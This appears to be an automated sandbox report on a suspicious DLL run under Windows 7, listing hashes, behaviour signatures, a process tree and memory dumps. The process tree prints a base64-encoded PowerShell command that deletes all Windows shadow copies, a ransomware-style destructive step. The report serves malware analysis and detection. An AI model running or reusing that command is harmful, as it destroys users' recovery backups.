Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:49

General

  • Target

    e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll

  • Size

    115KB

  • MD5

    b1ab213d39522915097480cb41fde381

  • SHA1

    42ad57e1377142f10372a36d996ce9f47cafeb43

  • SHA256

    e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6

  • SHA512

    f29d7578f0c859ac67f766d51b6824e8afd92a61aac32d630481adabc521350085924919c713ab992aaeac81b77a15314578d29858bba9bf7770273e09791895

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:584
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1564
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1144

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/584-55-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp
      Filesize

      8KB

    • memory/584-57-0x00000000028F0000-0x00000000028F2000-memory.dmp
      Filesize

      8KB

    • memory/584-58-0x00000000028F2000-0x00000000028F4000-memory.dmp
      Filesize

      8KB

    • memory/584-59-0x00000000028F4000-0x00000000028F7000-memory.dmp
      Filesize

      12KB

    • memory/584-56-0x000007FEF2CD0000-0x000007FEF382D000-memory.dmp
      Filesize

      11.4MB

    • memory/584-60-0x000000001B700000-0x000000001B9FF000-memory.dmp
      Filesize

      3.0MB

    • memory/584-61-0x00000000028FB000-0x000000000291A000-memory.dmp
      Filesize

      124KB

    • memory/864-54-0x0000000075761000-0x0000000075763000-memory.dmp
      Filesize

      8KB